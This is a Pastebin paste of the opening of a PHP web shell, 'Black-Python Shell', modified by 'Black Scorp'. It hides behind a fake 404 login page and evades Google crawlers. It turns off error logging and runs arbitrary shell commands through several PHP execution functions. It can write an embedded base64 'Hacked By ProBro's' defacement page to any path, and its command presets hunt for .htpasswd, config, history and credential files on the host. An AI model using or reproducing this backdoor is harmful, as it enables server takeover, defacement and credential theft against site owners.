Guest User

dasd

a guest
Mar 22nd, 2018
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 329.00 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  
  5. /*
  6. // Modified by Black Scorp
  7. */
  8. $auth_pass= "02cce9e28a5e94d01b691b733cd5106c"; //Guess iT :V :v :V
  9. $deface = 'PGh0bWw+PGhlYWQ+PGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBocmVmPSJodHRwOi8vMy5icC5ibG9nc3BvdC5jb20vLTJndnotT2g1Nlk4L1VfSERiU0NLR2VJL0FBQUFBQUFBRTM0L0lWWENwRm1QekxjL3MxNjAwL1Bha2lzdGFuRmxhZ1dhbGxwYXBlci5qcGciPjx0aXRsZT4gSGFja2VkIEJ5IFByb0JybydzICZndDsmZ3Q7ICZsdDsmbHQ7PC90aXRsZT48ZW1iZWQgc3JjPSJodHRwczovL3d3dy55b3V0dWJlLmNvbS92L0VkRlVaZHJEUl84JiZhdXRvcGxheT0xIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd21vZGU9InRyYW5zcGFyZW50IiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2VtYmVkPjxzY3JpcHQ+YWxlcnQoIlByb0JybydzIFdhcyBUaGVyZSAsIFlvdSBBcmUgSGFja2VkIik8L3NjcmlwdD4NCjxtZXRhIG5hbWU9J2Rlc2NyaXB0aW9uJyBjb250ZW50PSdIYWNrZWQgQnkgNG5kcjN3IGFuZCA0MTN4IH4gR3JlZXR6OjogUjRCIU5EUjQgfiA0bmRyM3cgfiA0bmQgfiA0bDN4ICc+DQo8bWV0YSBuYW1lPSdIYWNrZWQgYnkgNG5kcjN3IDRuZCA0MTN4IFByb0JybydzIH4gVGhpbmsgRGFya2VyJz4gDQo8bWV0YSBodHRwLWVxdWl2PSdjb250ZW50LXR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDtjaGFyc2V0PVVURi04Jz4NCjxtZXRhIG5hbWU9J2tleXdvcmRzJyBjb250ZW50PSdIYWNrZWQgYnkgNG5kcjN3IDRuZCA0MTN4LCBQcm9Ccm8ncywgU3BlY2lhbCBUaGFua3MgVG8gQUxJIEtIQU4gREVWSUwgS0lMTEVSLEJsYWNraWUgNG5kIDQxM3gsSGFja2VkIGJ5IFByb2JybydzLEhhY2tlZCBCeSA0bmRyM3csLDQxM3gsUHJvQnJvJ3MgV2FzIEhlcmUnPg0KPGxpbmsgcmVsPSdpY29uJyBocmVmPSdodHRwczovL3Njb250ZW50LmZpc2IzLTEuZm5hLmZiY2RuLm5ldC92L3QzMS4wLTgvMjYxMTQzNjRfMjgyOTIyNjI1NTY0NDAxXzU3MjY2MDY5NTE5NTI2ODAxMzhfby5wbmc/X25jX2V1aTI9djElM0FBZUctZWtCaEJSYWcwLXBPeEo1SmNxOVlUckJlV3NMNkpJX1VRWHZGemxDZ0tIbUQyS3d5LVZ4LWZaY1dsbjUyQXB0V3g0VGF6bjR0cXZJcUtzSmhKbENuel8tOGVvdGU3czloV3dySjU3Y1NFb2tXRkRRZXM0NTMxTnUwQU8zWU9rZyZvaD1lZDRlOTk1Mzk5NjM1MzQ0YWJiYTUwNDhiZjZhYzZmNyZvZT01QUM0N0NFQicgc2l6ZXM9JzE2eDE2Jz4gDQo8bWV0YSBjaGFyc2V0PSd1dGYtOCc+DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMi4xLjEuanMiPjwvc2NyaXB0Pg0KPGxpbmsgaHJlZj0iaHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPiANCmJvZHl7DQpiYWNrZ3JvdW5kOiAjRkZGRkZGOw0KZm9udC1mYW1pbHk6IHdpbmRzb25nOw0KZm9udC1zaXplOiAxMnB4Ow0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpmb250LXNpemU6MTJweDsNCmZvbnQtc3R5bGU6IGJvbGQ7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiANCiANCiAgICAgICAgdmFyIGNoYXJJbmRleCA9IC0xOw0KIA0KICAgICAgICB2YXIgc3RyaW5nTGVuZ3RoID0gMDsNCiANCiAgICAgICAgdmFyIGlucHV0VGV4dDsNCiANCiAgICAgICAgZnVuY3Rpb24gd3JpdGVDb250ZW50KGluaXQpDQogDQogICAgICAgIHsNCiANCiAgICAgICAgICBpZihpbml0KQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIGlucHV0VGV4dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb250ZW50VG9Xcml0ZScpLmlubmVySFRNTDsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgaWYoY2hhckluZGV4PT0tMSkNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBjaGFySW5kZXggPSAwOw0KIA0KICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gaW5wdXRUZXh0Lmxlbmd0aDsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgdmFyIGluaXRTdHJpbmcgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXlDb250ZW50JykuaW5uZXJIVE1MOw0KIA0KICAgICAgICAgIGluaXRTdHJpbmcgPSBpbml0U3RyaW5nLnJlcGxhY2UoLzxTUEFOLiokL2dpLCIiKTsNCiANCiANCiANCiAgICAgICAgICB2YXIgdGhlQ2hhciA9IGlucHV0VGV4dC5jaGFyQXQoY2hhckluZGV4KTsNCiANCiAgICAgICAgICB2YXIgbmV4dEZvdXJDaGFycyA9IGlucHV0VGV4dC5zdWJzdHIoY2hhckluZGV4LDQpOw0KIA0KICAgICAgICAgIGlmKG5leHRGb3VyQ2hhcnM9PSc8QlI+JyB8fCBuZXh0Rm91ckNoYXJzPT0nPGJyPicpDQogDQogICAgICAgICAgew0KIA0KICAgICAgICAgICAgdGhlQ2hhciAgPSAnPEJSPic7DQogDQogICAgICAgICAgICBjaGFySW5kZXgrPTM7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGluaXRTdHJpbmcgPSBpbml0U3RyaW5nICsgdGhlQ2hhciArICI8U1BBTiBpZD0nYmxpbmsnPj48L1NQQU4+IjsNCiANCiAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXlDb250ZW50JykuaW5uZXJIVE1MID0gaW5pdFN0cmluZzsNCiANCiANCiANCiAgICAgICAgICBjaGFySW5kZXggPSBjaGFySW5kZXgvMSArMTsNCiANCiAgICAgICAgICBpZihjaGFySW5kZXglMj09MSkNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmxpbmsnKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgZWxzZQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdibGluaycpLnN0eWxlLmRpc3BsYXk9J2lubGluZSc7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGlmKGNoYXJJbmRleDw9c3RyaW5nTGVuZ3RoKQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIHNldFRpbWVvdXQoJ3dyaXRlQ29udGVudChmYWxzZSknLDEwMCk7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGVsc2UNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBibGlua1NwYW4oKTsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgIH0NCiANCiAgICAgICAgdmFyIGN1cnJlbnRTdHlsZSA9ICdpbmxpbmUnOw0KIA0KICAgICAgICBmdW5jdGlvbiBibGlua1NwYW4oKQ0KIA0KICAgICAgICB7DQogDQogICAgICAgICAgaWYoY3VycmVudFN0eWxlPT0naW5saW5lJykNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBjdXJyZW50U3R5bGU9J25vbmUnOw0KIA0KICAgICAgICAgIH0NCiANCiAgICAgICAgICBlbHNlDQogDQogICAgICAgICAgew0KIA0KICAgICAgICAgICAgY3VycmVudFN0eWxlPSdpbmxpbmUnOw0KIA0KICAgICAgICAgIH0NCiANCiAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmxpbmsnKS5zdHlsZS5kaXNwbGF5ID0gY3VycmVudFN0eWxlOw0KIA0KICAgICAgICAgIHNldFRpbWVvdXQoJ2JsaW5rU3BhbigpJyw0MDApOw0KIA0KICAgICAgICB9DQoNCiAgICAgICAgbXNnID0gIjw8IEhhY2tlZCBieSA0bmRyM3cgNG5kIDQxM3ggPj4iOw0KIA0KIA0KIA0KICAgICAgICBtc2cgPSAiICIgKyBtc2c7cG9zID0gMDsNCiANCiAgICAgICAgZnVuY3Rpb24gc2Nyb2xsTVNHKCkNCiANCiAgICAgICAgew0KIA0KICAgICAgICAgIGRvY3VtZW50LnRpdGxlID0gbXNnLnN1YnN0cmluZyhwb3MsIG1zZy5sZW5ndGgpICsgbXNnLnN1YnN0cmluZygwLCBwb3MpOw0KIA0KICAgICAgICAgIHBvcysrOw0KIA0KICAgICAgICAgIGlmIChwb3MgPiAgbXNnLmxlbmd0aCkgcG9zID0gMA0KIA0KICAgICAgICAgIHdpbmRvdy5zZXRUaW1lb3V0KCJzY3JvbGxNU0coKSIsMTAwKTsNCiANCiAgICAgICAgfQ0KIA0KICAgICAgICBzY3JvbGxNU0coKTsNCiANCiAgICAgIDwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KDQpmdW5jdGlvbiBtaXNjaGFuZGxlcigpew0KcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBtb3VzZWhhbmRsZXIoZSl7DQp2YXIgbXlldmVudCA9IChpc05TKSA/IGUgOiBldmVudDsNCnZhciBldmVudGJ1dHRvbiA9IChpc05TKSA/IG15ZXZlbnQud2hpY2ggOiBteWV2ZW50LmJ1dHRvbjsNCmlmKChldmVudGJ1dHRvbj09Mil8fChldmVudGJ1dHRvbj09MykpIHJldHVybiBmYWxzZTsNCn0NCmRvY3VtZW50Lm9uY29udGV4dG1lbnUgPSBtaXNjaGFuZGxlcjsNCmRvY3VtZW50Lm9ubW91c2Vkb3duID0gbW91c2VoYW5kbGVyOw0KZG9jdW1lbnQub25tb3VzZXVwID0gbW91c2VoYW5kbGVyOw0KdmFyIGlzQ3RybCA9IGZhbHNlOw0KICAgIGRvY3VtZW50Lm9ua2V5dXA9ZnVuY3Rpb24oZSkNCiAgICB7DQogICAgaWYoZS53aGljaCA9PSAxNykNCiAgICBpc0N0cmw9ZmFsc2U7DQogICAgfQ0KDQogICAgZG9jdW1lbnQub25rZXlkb3duPWZ1bmN0aW9uKGUpDQogICAgew0KICAgIGlmKGUud2hpY2ggPT0gMTcpDQogICAgaXNDdHJsPXRydWU7DQogICAgaWYoKGUud2hpY2ggPT0gODUpIHx8IChlLndoaWNoID09IDY3KSAmJiBpc0N0cmwgPT0gdHJ1ZSkNCiAgICB7DQogICAgLy8gYWxlcnQoJiM4MjE2O0tleWJvYXJkIHNob3J0Y3V0cyBhcmUgY29vbCEmIzgyMTc7KTsNCiAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIH0NCg0KDQo8L3NjcmlwdD4NCjxzdHlsZT4NCip7bWFyZ2luOiAwOyBwYWRkaW5nOiAwO30NCmJvZHkge2JhY2tncm91bmQ6ICMwMDAwMDA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzAwMDAwMDtzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzAwMDAwMDsgc2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMwMDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICNGRkZGRkY7IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICNGRkZGRkY7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMDAwMDAwOyAgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjRkZGRkZGOyBjb2xvcjojOEU5NTlFIH0NCi5uYW1lIHsgdGV4dC1kZWNvcmF0aW9uOiBub25lO30NCkAtbW96LWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMTQ0MGRlZyk7IH0gfQ0KQC1vLWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC1vLXRyYW5zZm9ybTogcm90YXRlKDE0NDBkZWcpOyB9IH0NCkAtd2Via2l0LWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMTQ0MGRlZyk7IH0gfQ0KYm9keXstbW96LWFuaW1hdGlvbi1uYW1lOiByb2xsOw0KLW1vei1hbmltYXRpb24tZHVyYXRpb246IDZzOw0KLW1vei1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiAxOw0KLW8tYW5pbWF0aW9uLW5hbWU6IHJvbGw7DQotby1hbmltYXRpb24tZHVyYXRpb246IDZzOw0KLW8tYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogMTsNCi13ZWJraXQtYW5pbWF0aW9uLW5hbWU6IHJvbGw7DQotd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogNXM7DQotd2Via2l0LWFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IDE7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQpmdW5jdGlvbiBkZXRhaWxzKCkge3dpbmRvdy5vcGVuKCIiKTt3aW5kb3cub3BlbigiIik7fTwvc2NyaXB0Pg0KDQo8YnI+PGJyPjxicj4NCg0KPHAgYWxpZ249ImNlbnRlciI+PGltZyBzcmM9Imh0dHBzOi8vc2NvbnRlbnQuZmlzYjMtMS5mbmEuZmJjZG4ubmV0L3YvdDEuMC05LzI0OTA5ODk2XzE4OTY3MDIzMTU4MjgyMl81NjU1MDQzNjYwNDQ3NjExOTQwX24uanBnP19uY19ldWkyPXYxJTNBQWVIMmFhTkhxVVRXcEZ3S0N1QzNPTU13dW1yVXhDY1BmeHBUdkQwSlB3Z3d1Q1VZTjVwX20tWEYzdHFiNEJzYmM0VUREdF9VOWg3U3NyZ2ZGSGFRd2owdkwxMDR0TEFMcEpvMTdyM0N2YUlQZ2RhcHF4bUx6Wl9pNVBJd2hOOWNhR2cmb2g9ZTY1NmUwOGY1MmMwYTE1NmVhNjljOWEyODk5N2I0MWImb2U9NUFGNUUwOEIiIHdpZHRoPSJhdXRvIiBoZWlnaHQ9IjMwMHB4Ij48L3A+DQo8YnI+PGJyPjxicj48YnI+PGJyPg0KPGNlbnRlcj4NCgkJCSA8Zm9udCBmYWNlPSJJY2VsYW5kIiBzaXplPSIxMDAiIGNvbG9yPSJncmVlbiI+DQoJCQkgPG1hcnF1ZWUgZGlyZWN0aW9uPSJsZWZ0IiBzY3JvbGxhbW91bnQ9IjE1IiBzY3JvbGxkZWxheT0iMTAwIiB3aWR0aD0iOTglIiBzdHlsZT0id2lkdGg6IDk4JTsiPg0KCQkJIDxoMT4gSGFja2VkIGJ5IDxzdHJvbmc+IFByPGZvbnQgY29sb3I9InJlZCI+bzwvZm9udD5Ccm8nczwvc3Ryb25nPjwvaDE+DQoJCQkgPC9tYXJxdWVlPg0KCQkJIDwvZm9udD4NCjwvY2VudGVyPg0KPGJyPjxicj48YnI+DQo8Y2VudGVyPjxmb250IGZhY2U9IkljZWxhbmQiIGNvbG9yPSJncmVlbiIgc2l6ZT0iMTIiPlByb0JybydzDQo8YnI+VGhpbmsgRGVlcGVyIDxmb250IGNvbG9yPSJyZWQiPlRoaW5rIERhcmtlcjwvZm9udD4gSGFja2VkIGJ5IEJsYWNrU2NvcnAgKDRuZHIzdykNCg0KPGJyPjxicj48YnI+PGJyPldlIERlZmVuZCAsIDxmb250IGNvbG9yPSJyZWQiPnx8PC9mb250PiBXZSBSZXZlbmdlLA0KPGJyPjxmb250IGNvbG9yPSJyZWQiIHNpemU9IjYiPsKpPC9mb250PiA8Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IjEyIj4gUHJvQnJvJ3M8Zm9udCBjb2xvcj0icmVkIj5IYWNrZXJzIDwvZm9udD4gQXJlIE5vdyBJbiBBY3Rpb248Zm9udCBjb2xvcj0iZ3JlZW4iPjwvZm9udD48YnI+PGJyPg0KDQo8Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IjYiPjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ+VGVhbSA6DQo8YnI+PC9mb250PiBCbGFjayBTY29ycCA8Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+ICA8Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TMDcwX0g0WDBSIHx8PGZvbnQgY29sb3I9InJlZCI+PC9mb250PiA0bDN4ICB8fDxmb250IGNvbG9yPSJyZWQiPjwvZm9udD4NCjxicj48Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TdWRpIHx8PGZvbnQgY29sb3I9InJlZCI+fHw8L2ZvbnQ+IEZyb3N0Qnl0ZSA8Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TaGsgVjNuMG08Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD4gU3BlY2lhbCBUaGFua3MgdG8gRGV2aWwgS2lsbGVyIDxmb250IGNvbG9yPSJyZWQiPnx8PC9mb250PiBBbGwgUHJvQnJvJ3MgVGVhbQ0KPGJyPiA8Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+IA0KPGJyPjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ+UHJvQnJvJ3MgSW4gQ29vbCBBY3Rpb24NCjxicj48Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PkNvbnRhY3QgOiBodHRwczovL2ZhY2Vib29rLmNvbS88Zm9udCBjb2xvcj0icmVkIj5wcm88L2ZvbnQ+YnJvc3g8L2ZvbnQ+DQo8YnI+PGJyPjxicj4NCg0KDQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBzaXplPSI2IiBmYWNlPSJJY2VsYW5kIiBjb2xvcj0iY2MwMDAwIj48Zm9udCBjb2xvcj0id2hpdGUiPiAgICA8aW1nIHdpZHRoPSI3MDAiIGhlaWdodD0iOCIgYm9yZGVyPSIwIiBhbHQ9IiIgc3JjPSJodHRwOi8vd3d3Ni4wenowLmNvbS8yMDExLzAzLzE0LzA2LzI2OTIwNTk1Ny5naWYiPjxicj4NCjwvZm9udD48Zm9udCBzdHlsZT0iZm9udC1zaXplOiAxMXB0Ij48Zm9udCBmYWNlPSJJY2VsYW5kIiBjb2xvcj0iRjBGOEZGICI+ICAgPC9mb250Pjxmb250IGZhY2U9IkljZWxhbmQiIGNvbG9yPSJ3aGl0ZSI+IDwvZm9udD4gICA8bWFycXVlZSB3aWR0aD0iNTAlIiBiZWhhdmlvcj0ic2Nyb2xsIiBkaXJlY3Rpb249ImxlZnQiIHNjcm9sbGFtb3VudD0iMiIgc2Nyb2xsZGVsYXk9IjIwIiBzdHlsZT0id2lkdGg6IDUwJTsiPg0KPGZvbnQgY29sb3I9ImdyZWVuIj48L2ZvbnQ+PGgxPjxmb250IGNvbG9yPSJncmVlbiI+fHw8L2ZvbnQ+IFByb0JybydzIC0gPGZvbnQgY29sb3I9ImdyZWVuIj53YXMgPC9mb250PlRoPGZvbnQgY29sb3I9ImdyZWVuIj5lcmU8L2ZvbnQ+IC4gWW91IEFyZSBTdGFtcGVkPGZvbnQgY29sb3I9ImdyZWVuIj58fDwvZm9udD48L2gxPjwvbWFycXVlZT4NCjxpbWcgd2lkdGg9IjcwMCIgaGVpZ2h0PSI4IiBib3JkZXI9IjAiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3c2LjB6ejAuY29tLzIwMTEvMDMvMTQvMDYvMjY5MjA1OTU3LmdpZiI+PGJyPg0KPC9mb250PjwvZm9udD48L3A+DQo8YnI+DQoNCg0KDQo8L2ZvbnQ+PC9jZW50ZXI+PC9mb250PjwvYm9keT48L2h0bWw+'; //deface in base64.
  10. //Change Shell Theme here//
  11. $color = "#dedee2"; //Fonts color modify here.
  12. $Theme = '#706e35'; //Change border-color accoriding to your choice.
  13. $TabsColor = '#43592e'; //Change tabs color here.
  14. $default_action = 'FilesMan';
  15. @define('SELF_PATH', __FILE__);
  16. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  17. header('HTTP/1.0 404 Not Found');
  18. exit;
  19. }
  20.  
  21. @session_start();
  22. @error_reporting(0);
  23. @ini_set('error_log',NULL);
  24. @ini_set('display_errors',0);
  25. @ini_set('log_errors',0);
  26. @ini_set('max_execution_time',0);
  27. @set_time_limit(0);
  28. @set_magic_quotes_runtime(0);
  29. if( get_magic_quotes_gpc() ) {
  30. function stripslashes_array($array) {
  31. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  32. }
  33. $_POST = stripslashes_array($_POST);
  34. }
  35.  
  36. function blackscorplogin() {
  37. die ('<!DOCTYPE html>
  38. <html>
  39. <head>
  40. <title>Not Found</title>
  41. <meta charset="UTF-8">
  42. <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
  43. <meta name="description" content="Sites description">
  44. <meta name="about" content="Made By BlackScorp">
  45.  
  46. <meta name="description" content="Not Found">
  47. <style>
  48. .body {
  49.  
  50. text-transform: capitalize;
  51.  
  52.  
  53.  
  54. background-repeat:no-repeat;
  55. background-position: center;
  56. background-attachment: fixed;
  57. -webkit-background-size: cover;
  58. -moz-background-size: cover;
  59. -o-background-size: cover;
  60. background-size: cover;
  61. }
  62.  
  63. .h1{ color=black;}
  64. .font {
  65. font-family: calibri;
  66. font-size: 300%;
  67. text-align: center;
  68. color: white;
  69. }
  70. .upass {
  71.  
  72. font-family: calibri;
  73. font-size: 100%;
  74. text-align: center;
  75. color: black;
  76. }
  77. .input {
  78. margin:0;background-color:white;border:1px solid white;
  79. }
  80. </style>
  81.  
  82. </script>
  83. </head>
  84.  
  85. <body class="body" oncontextmenu="return false;">
  86. <h1>Not Found</h1>
  87.  
  88. <p>The requested URL was not found on this server</p>
  89. <p>Additionally, URL not Found error was encountered while trying to use an ErrorDocument to handle the request</p>
  90. <div class="font">
  91. <font></font><br>
  92. </div>
  93. <div class="upass">
  94. <form method=post>
  95. <input class="input" type="password" name="pass" size="25"/>
  96. </form>
  97. </div>
  98. </body>
  99. </html>');
  100. }
  101.  
  102. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  103. if( empty( $auth_pass ) ||
  104. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  105. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  106. else
  107. blackscorplogin();
  108.  
  109. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  110. $os = 'win';
  111. else
  112. $os = 'nix';
  113. $safe_mode = @ini_get('safe_mode');
  114. $disable_functions = @ini_get('disable_functions');
  115. $home_cwd = @getcwd();
  116. if( isset( $_POST['c'] ) )
  117. @chdir($_POST['c']);
  118. $cwd = @getcwd();
  119. if( $os == 'win') {
  120. $home_cwd = str_replace("\\", "/", $home_cwd);
  121. $cwd = str_replace("\\", "/", $cwd);
  122. }
  123. if( $cwd[strlen($cwd)-1] != '/' )
  124. $cwd .= '/';
  125.  
  126. if($os == 'win') {
  127. $aliases = array(
  128. "List Directory" => "dir",
  129. "Find index.php in current dir" => "dir /s /w /b index.php",
  130. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  131. "Show active connections" => "netstat -an",
  132. "Show running services" => "net start",
  133. "User accounts" => "net user",
  134. "Show computers" => "net view",
  135. "ARP Table" => "arp -a",
  136. "IP Configuration" => "ipconfig /all"
  137. );
  138. } else {
  139. $aliases = array(
  140. "List dir" => "ls -la",
  141. "list file attributes on a Linux second extended file system" => "lsattr -va",
  142. "show opened ports" => "netstat -an | grep -i listen",
  143. "Find" => "",
  144. "find all suid files" => "find / -type f -perm -04000 -ls",
  145. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  146. "find all sgid files" => "find / -type f -perm -02000 -ls",
  147. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  148. "find config.inc.php files" => "find / -type f -name config.inc.php",
  149. "find config* files" => "find / -type f -name \"config*\"",
  150. "find config* files in current dir" => "find . -type f -name \"config*\"",
  151. "find all writable folders and files" => "find / -perm -2 -ls",
  152. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  153. "find all service.pwd files" => "find / -type f -name service.pwd",
  154. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  155. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  156. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  157. "find all .bash_history files" => "find / -type f -name .bash_history",
  158. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  159. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  160. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  161. "Locate" => "",
  162. "locate httpd.conf files" => "locate httpd.conf",
  163. "locate vhosts.conf files" => "locate vhosts.conf",
  164. "locate proftpd.conf files" => "locate proftpd.conf",
  165. "locate psybnc.conf files" => "locate psybnc.conf",
  166. "locate my.conf files" => "locate my.conf",
  167. "locate admin.php files" =>"locate admin.php",
  168. "locate cfg.php files" => "locate cfg.php",
  169. "locate conf.php files" => "locate conf.php",
  170. "locate config.dat files" => "locate config.dat",
  171. "locate config.php files" => "locate config.php",
  172. "locate config.inc files" => "locate config.inc",
  173. "locate config.inc.php" => "locate config.inc.php",
  174. "locate config.default.php files" => "locate config.default.php",
  175. "locate config* files " => "locate config",
  176. "locate .conf files"=>"locate '.conf'",
  177. "locate .pwd files" => "locate '.pwd'",
  178. "locate .sql files" => "locate '.sql'",
  179. "locate .htpasswd files" => "locate '.htpasswd'",
  180. "locate .bash_history files" => "locate '.bash_history'",
  181. "locate .mysql_history files" => "locate '.mysql_history'",
  182. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  183. "locate backup files" => "locate backup",
  184. "locate dump files" => "locate dump",
  185. "locate priv files" => "locate priv"
  186. );
  187. }
  188. if(isset($_POST['p1']) && $_POST['p1']=='deface') {
  189. $def = base64_decode($deface);
  190. file_put_contents($_POST['c'].$_POST['p2'],$def);
  191. }
  192. function ex($in) {
  193. $out = '';
  194. if(function_exists('exec')) {
  195. @exec($in,$out);
  196. $out = @join("\n",$out);
  197. }elseif(function_exists('passthru')) {
  198. ob_start();
  199. @passthru($in);
  200. $out = ob_get_clean();
  201. }elseif(function_exists('system')) {
  202. ob_start();
  203. @system($in);
  204. $out = ob_get_clean();
  205. }elseif(function_exists('shell_exec')) {
  206. $out = shell_exec($in);
  207. }elseif(is_resource($f = @popen($in,"r"))) {
  208. $out = "";
  209. while(!@feof($f))
  210. $out .= fread($f,1024);
  211. pclose($f);
  212. }
  213. return $out;
  214. }
  215.  
  216. function which($p) {
  217. $path = ex('which '.$p);
  218. if(!empty($path))
  219. return $path;
  220. return false;
  221. }
  222.  
  223. function printHeader() {
  224. if(empty($_POST['charset']))
  225. $_POST['charset'] = "UTF-8";
  226. global $color;
  227. global $Theme;
  228. global $TabsColor;
  229. echo "<html><head><link href='https://scontent.fisb3-1.fna.fbcdn.net/v/t1.0-9/24909896_189670231582822_5655043660447611940_n.jpg?_nc_eui2=v1%3AAeH2aaNHqUTWpFwKCuC3OMMwumrUxCcPfxpTvD0JPwgwuCUYN5p_m-XF3tqb4Bsbc4UDDt_U9h7SsrgfFHaQwj0vL104tLALpJo17r3CvaIPgdapqxmLzZ_i5PIwhN9caGg&oh=e656e08f52c0a156ea69c9a28997b41b&oe=5AF5E08B' rel='Shortcut Icon' /><link href='https://fonts.googleapis.com/css?family=Josefin+Sans:400,100' rel='stylesheet' type='text/css'></head>";
  230. echo '<html>
  231. <meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>Black-Python Shell</title>
  232. <style>
  233. body {background-color:black;color:#fff; background-image: url("https://s8.postimg.org/6qsto9xol/c3457c86fbb840d3900b59063b30c6e6.png");
  234. background-color: #000000;
  235. background-size:cover; }
  236. body,td,th { font-family: Josefin Sans, sans-serif;font-size:13px;margin:0;vertical-align:top; }
  237. span,h1,a { color:'.$color.' !important; }
  238. span { font-weight: bolder; }
  239. h1 { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
  240. div.content { padding: 0px;margin:0 0px;background: #0F1010;border:1px solid '.$Theme.'; border-radius:5px;}
  241. a { text-decoration:none; }
  242. a:hover { border-bottom:0px solid #5e5e5e;text-decoration:none; }
  243. a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;text-decoration:none;}
  244. .ml1 { border:1px solid '.$Theme.';padding:px;margin:0;overflow: auto; }
  245. .bigarea { width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:'.$Theme.'; background:#2F2F2F;}
